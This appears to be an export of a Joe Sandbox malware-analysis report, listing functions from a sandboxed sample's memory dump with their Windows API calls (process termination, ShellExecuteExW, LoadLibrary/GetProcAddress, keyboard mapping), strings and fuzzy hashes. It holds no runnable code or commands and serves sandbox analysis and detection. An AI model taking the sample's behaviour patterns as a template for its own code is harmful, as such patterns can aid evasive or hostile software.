Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 9e7c0af503ed4558ccf462b55f4a9fc81f0a836be042d8de4fe81d3c1998dc51
Instruction ID: 70b34d3b688d63a59165080b8d25de603c5ab0ad3defcf5d63ada91d91e89531
Opcode Fuzzy Hash: 9e7c0af503ed4558ccf462b55f4a9fc81f0a836be042d8de4fe81d3c1998dc51
Instruction Fuzzy Hash: 3D11097A001159FFDB129F94EC88EAA7F6CEB09350F148012FA199A1A1C7719D65DBA0

Function 002151FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00215218
GetDeviceCaps.GDI32(00000000,00000058), ref: 00215229
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00215230
ReleaseDC.USER32(00000000,00000000), ref: 00215238
MulDiv.KERNEL32(000009EC,?,00000000), ref: 0021524F
MulDiv.KERNEL32(000009EC,00000001,?), ref: 00215261

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: a8319687082e52f593faf51cdbfb2aad60612efee3313aba4c3eb7f15525e54d
Instruction ID: d690895251d068554ea4edc9a6a088edb44703a545067fa094f5296702ea860c
Opcode Fuzzy Hash: a8319687082e52f593faf51cdbfb2aad60612efee3313aba4c3eb7f15525e54d
Instruction Fuzzy Hash: 0A018F75A01719BBEB109FA99C49A4EBFB8EB89351F144065FE08A7291D6709C10CFA0

Function 001B1BC3 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 001B1BF4
MapVirtualKeyW.USER32(00000010,00000000), ref: 001B1BFC
MapVirtualKeyW.USER32(000000A0,00000000), ref: 001B1C07
MapVirtualKeyW.USER32(000000A1,00000000), ref: 001B1C12
MapVirtualKeyW.USER32(00000011,00000000), ref: 001B1C1A
MapVirtualKeyW.USER32(00000012,00000000), ref: 001B1C22

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 5c7c12a4234de8f87ae09045b017078f02e947e530ddf276ce95ee9da8048cf5
Instruction ID: 386572366797130e2ada894bc9a7107854f0fbf59b095bea6f424ecbaf4d79b0
Opcode Fuzzy Hash: 5c7c12a4234de8f87ae09045b017078f02e947e530ddf276ce95ee9da8048cf5
Instruction Fuzzy Hash: 120167B0902B5ABDE3008F6A8C85B52FFA8FF59354F00411BA15C4BA42C7F5A864CFE5

Function 0021EB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 0021EB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0021EB46
GetWindowThreadProcessId.USER32(?,?), ref: 0021EB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0021EB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0021EB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0021EB75

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 83f8bb6c1ef1b2c019ebc8e61e9faa521029f5ff26deb801a50f0b43a3a2576e
Instruction ID: b8dd0ff62fc04eb7728950c06fcf76fa5212fa5769377f67a01a3d2691a903c0
Opcode Fuzzy Hash: 83f8bb6c1ef1b2c019ebc8e61e9faa521029f5ff26deb801a50f0b43a3a2576e
Instruction Fuzzy Hash: 02F09ABA202158BBE7205B66AC0EEEF3E7CEFCBF11F104158FA01D1090D7A01A01C6B4

Function 00207439 Relevance: 9.0, APIs: 6, Instructions: 37windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 00207452
SendMessageW.USER32(?,00001328,00000000,?), ref: 00207469
GetWindowDC.USER32(?), ref: 00207475
GetPixel.GDI32(00000000,?,?), ref: 00207484
ReleaseDC.USER32(?,00000000), ref: 00207496
GetSysColor.USER32(00000005), ref: 002074B0

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: c0bc03edd1fb736c0cb61ce4792940c158f8ca21c867b01d64f9cb66e7e218fb
Instruction ID: c4b6e59c6f4f533afe0475d51210b8d13f85994a461cd84e85031ddd9d49caa6
Opcode Fuzzy Hash: c0bc03edd1fb736c0cb61ce4792940c158f8ca21c867b01d64f9cb66e7e218fb
Instruction Fuzzy Hash: F9014B35811215EFDB915F68EC0CBAE7BB9FB05311F614164F915A21E2CB312E51AB50

Function 00211874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 0021187F
UnloadUserProfile.USERENV(?,?), ref: 0021188B
CloseHandle.KERNEL32(?), ref: 00211894
CloseHandle.KERNEL32(?), ref: 0021189C
GetProcessHeap.KERNEL32(00000000,?), ref: 002118A5
HeapFree.KERNEL32(00000000), ref: 002118AC

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 74ee2759457433044612de62307b5b4841864c8184529134c925b61b85892a97
Instruction ID: a91b97487984a05ceb0f1ad31513717014b5c4686b16f2db27057e573c997ce3
Opcode Fuzzy Hash: 74ee2759457433044612de62307b5b4841864c8184529134c925b61b85892a97
Instruction Fuzzy Hash: 20E0E53A206501BBDB416FA9FD0C90ABF39FF4AB22B208220F22981070CB329420DF50

Function 001BBBE0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 232COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 001BBEB3

Strings

D%(D%(, xrefs: 001BBCA5
D%(, xrefs: 001BBCA2
D%(, xrefs: 001BBDED, 001BBD91, 001BBD1B
D%(, xrefs: 001BBE9A

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Init_thread_footer
String ID: D%($D%($D%($D%(D%(
API String ID: 1385522511-2826432073
Opcode ID: d3ee799876aff52c3f687f17aadd13af5399f430c044a5f676da5bc54b5112cd
Instruction ID: dc6545fd7101b64a7e5b7646d02a2692eda5570ab9fc07475945931f28ef4132
Opcode Fuzzy Hash: d3ee799876aff52c3f687f17aadd13af5399f430c044a5f676da5bc54b5112cd
Instruction Fuzzy Hash: 08915975A0820ACFCB18CF99C0D06EABBF1FF58314F64816AD945AB750D7B5E981CB90

Function 00237B7E Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 001D0242: EnterCriticalSection.KERNEL32(0028070C,00281884,?,?,001C198B,00282518,?,?,?,001B12F9,00000000), ref: 001D024D
Part of subcall function 001D0242: LeaveCriticalSection.KERNEL32(0028070C,?,001C198B,00282518,?,?,?,001B12F9,00000000), ref: 001D028A

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

Part of subcall function 001D00A3: __onexit.LIBCMT ref: 001D00A9

__Init_thread_footer.LIBCMT ref: 00237BFB

Part of subcall function 001D01F8: EnterCriticalSection.KERNEL32(0028070C,?,?,001C8747,00282514), ref: 001D0202
Part of subcall function 001D01F8: LeaveCriticalSection.KERNEL32(0028070C,?,001C8747,00282514), ref: 001D0235

Strings

Variable must be of type 'Object'., xrefs: 00237C3A
G, xrefs: 00237C7F
5, xrefs: 00237C78
+T , xrefs: 00237E2E

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
String ID: +T $5$G$Variable must be of type 'Object'.
API String ID: 535116098-4255551972
Opcode ID: 4cbef1bb8936b2489b40a2cab8ee9d8927b60986ab36485daed6cffd2a3bf946
Instruction ID: 8d5cce7e34387add40b91ad6e63fa278ef3bc2e2aafe26cd2767739e8781f0d5
Opcode Fuzzy Hash: 4cbef1bb8936b2489b40a2cab8ee9d8927b60986ab36485daed6cffd2a3bf946
Instruction Fuzzy Hash: 52918DB4A24209EFCF24EF94D891DADB7B1FF49300F508059F8069B292DB71AE65CB51

Function 0021C5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001B7620: _wcslen.LIBCMT ref: 001B7625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0021C6EE
_wcslen.LIBCMT ref: 0021C735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0021C79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 0021C7CA

Strings

0, xrefs: 0021C6AF

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: 95f716e2d7b27e6c70bca332ac0f0f09052a75482e93e7d75a79111cd872945a
Instruction ID: be7275d54b28b62c908e7311b9b73ed39b6951e5f59329d9b23c6d7c99c97119
Opcode Fuzzy Hash: 95f716e2d7b27e6c70bca332ac0f0f09052a75482e93e7d75a79111cd872945a
Instruction Fuzzy Hash: D85104796A43429BD3109F28C885BFBB7ECAFA5310F24092DF591D21D0D7B0C8A5CB52

Function 0023AD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 0023AEA3

Part of subcall function 001B7620: _wcslen.LIBCMT ref: 001B7625

GetProcessId.KERNEL32(00000000), ref: 0023AF38
CloseHandle.KERNEL32(00000000), ref: 0023AF67

Strings

@, xrefs: 0023AE72
<, xrefs: 0023AE6B

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: fcc7b82cfb1967097f630e6ab91ac446d9cd6673c0b902bdaf64f5c64fc34707
Instruction ID: 82d97616ed8071b0cf471b94b961342874a68d330dc709b6ebc64b9e4fac96d1
Opcode Fuzzy Hash: fcc7b82cfb1967097f630e6ab91ac446d9cd6673c0b902bdaf64f5c64fc34707
Instruction Fuzzy Hash: CC71ACB4A00219DFCB14DF58D485A9EBBF0FF18314F0484A9E856AB7A2CB75ED41CB91

Function 0021719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00217206
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 0021723C
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 0021724D
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 002172CF

Strings

DllGetClassObject, xrefs: 00217242

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: ace7e68b856efb751e856b5da9d7d20d2cccb2ee643a0a2a524563851fe9b916
Instruction ID: def1771920c2a02eb99446ed9dc8104dbeece9b00fdd7e9f91a2c89da9812030
Opcode Fuzzy Hash: ace7e68b856efb751e856b5da9d7d20d2cccb2ee643a0a2a524563851fe9b916
Instruction Fuzzy Hash: 5B418171614204EFDB15CF54C884ADA7BF9EF99310F2480A9BD099F20AD7B1D995CBA0

Function 00243D7C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00243E35
IsMenu.USER32(?), ref: 00243E4A
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00243E92
DrawMenuBar.USER32 ref: 00243EA5

Strings

0, xrefs: 00243D89

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID: 0
API String ID: 3076010158-4108050209
Opcode ID: 83fb2974eba1d63c449e79e8bd8aab8f060500b7aab0bed5470053a5f3d3e58a
Instruction ID: f8e04d51fd3426134f357150403b7f4af14d2d0c3363a38411767dc2567afc41
Opcode Fuzzy Hash: 83fb2974eba1d63c449e79e8bd8aab8f060500b7aab0bed5470053a5f3d3e58a
Instruction Fuzzy Hash: 52416B75A2220AEFDB14DF54E884EEABBB9FF49350F044029F915A7250D730AE65CF50

Function 00211DE2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

Part of subcall function 00213CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00213CCA

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00211E66
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00211E79
SendMessageW.USER32(?,00000189,?,00000000), ref: 00211EA9

Part of subcall function 001B6B57: _wcslen.LIBCMT ref: 001B6B6A

Strings

ListBox, xrefs: 00211E25
ComboBox, xrefs: 00211DF0

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend$_wcslen$ClassName
String ID: ComboBox$ListBox
API String ID: 2081771294-1403004172
Opcode ID: 58497cc0390697dd956c4bd7c0b1dfc59d5e8ad387b9078ee7eb81cd3e49722b
Instruction ID: 7acabe07080e35f77c4572cbf96e793b01f4d98bd7d0b88c5f02fd96ab7eb855
Opcode Fuzzy Hash: 58497cc0390697dd956c4bd7c0b1dfc59d5e8ad387b9078ee7eb81cd3e49722b
Instruction Fuzzy Hash: 25216871A10108BFDB18AFA4DC45CFFB7F9DF72350B108119F926A71E1DB74496A9A20

Function 0023C9EA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0023C9F1
_wcslen.LIBCMT ref: 0023CA68
_wcslen.LIBCMT ref: 0023CA9E
_wcslen.LIBCMT ref: 0023CAF9
_wcslen.LIBCMT ref: 0023CB2F
_wcslen.LIBCMT ref: 0023CB7F

Strings

HKEY_LOCAL_MACHINE, xrefs: 0023CA62, 0023CA67
HKLM, xrefs: 0023CA98, 0023CA9D

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _wcslen
String ID: HKEY_LOCAL_MACHINE$HKLM
API String ID: 176396367-4004644295
Opcode ID: c7b19b001ecc916532cff05988d5e64b3b10d8206c1f2a8ffbd8ec4f8ea199ca
Instruction ID: f5e384402ed5f5b5eae3f0638ca74d3794081b7224e8ab89d0fe083000a580ff
Opcode Fuzzy Hash: c7b19b001ecc916532cff05988d5e64b3b10d8206c1f2a8ffbd8ec4f8ea199ca
Instruction Fuzzy Hash: 4431E4B3A2016B4BCB20EF6DD8501BE33919BA1754F35402AE845BB349EB71CE61D3A0

Function 00242F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00242F8D
LoadLibraryW.KERNEL32(?), ref: 00242F94
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00242FA9
DestroyWindow.USER32(?), ref: 00242FB1

Strings

SysAnimate32, xrefs: 00242F68

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: 25ca1ae248fe7852bd617c96926264bd8fe668c107a0d55d0f85a050fd889819
Instruction ID: efa7150cad419fc60afeec0259e1d280738e646da4b02efdfc2bdd326761acb1
Opcode Fuzzy Hash: 25ca1ae248fe7852bd617c96926264bd8fe668c107a0d55d0f85a050fd889819
Instruction Fuzzy Hash: DD21F071220206EBEB144F66DC84EBB37BDEB59364F924218F910D6490C371DC699760

Function 001D4D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,001D4D1E,001E28E9,?,001D4CBE,001E28E9,002788B8,0000000C,001D4E15,001E28E9,00000002), ref: 001D4D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 001D4DA0
FreeLibrary.KERNEL32(00000000,?,?,?,001D4D1E,001E28E9,?,001D4CBE,001E28E9,002788B8,0000000C,001D4E15,001E28E9,00000002,00000000), ref: 001D4DC3

Strings

mscoree.dll, xrefs: 001D4D86
CorExitProcess, xrefs: 001D4D98

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b4f624c1876fc20204c9b74d4a3f2ef0d27cd05e3563bc30f295b8fcdff618cb
Instruction ID: 2d2d5dc15d4ce2b25098db4d5897aedaa1165d51df6ff8629cdea991a8027e9a
Opcode Fuzzy Hash: b4f624c1876fc20204c9b74d4a3f2ef0d27cd05e3563bc30f295b8fcdff618cb
Instruction Fuzzy Hash: 22F0C234A01208BBDB159F94EC4DBADBFB5EF09712F1000A9FC09A2260CB305E40CF94

Function 0020D3A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0020D3AD
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0020D3BF
FreeLibrary.KERNEL32(00000000), ref: 0020D3E5

Strings

GetSystemWow64DirectoryW, xrefs: 0020D3B9
X64, xrefs: 0020D2A8

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

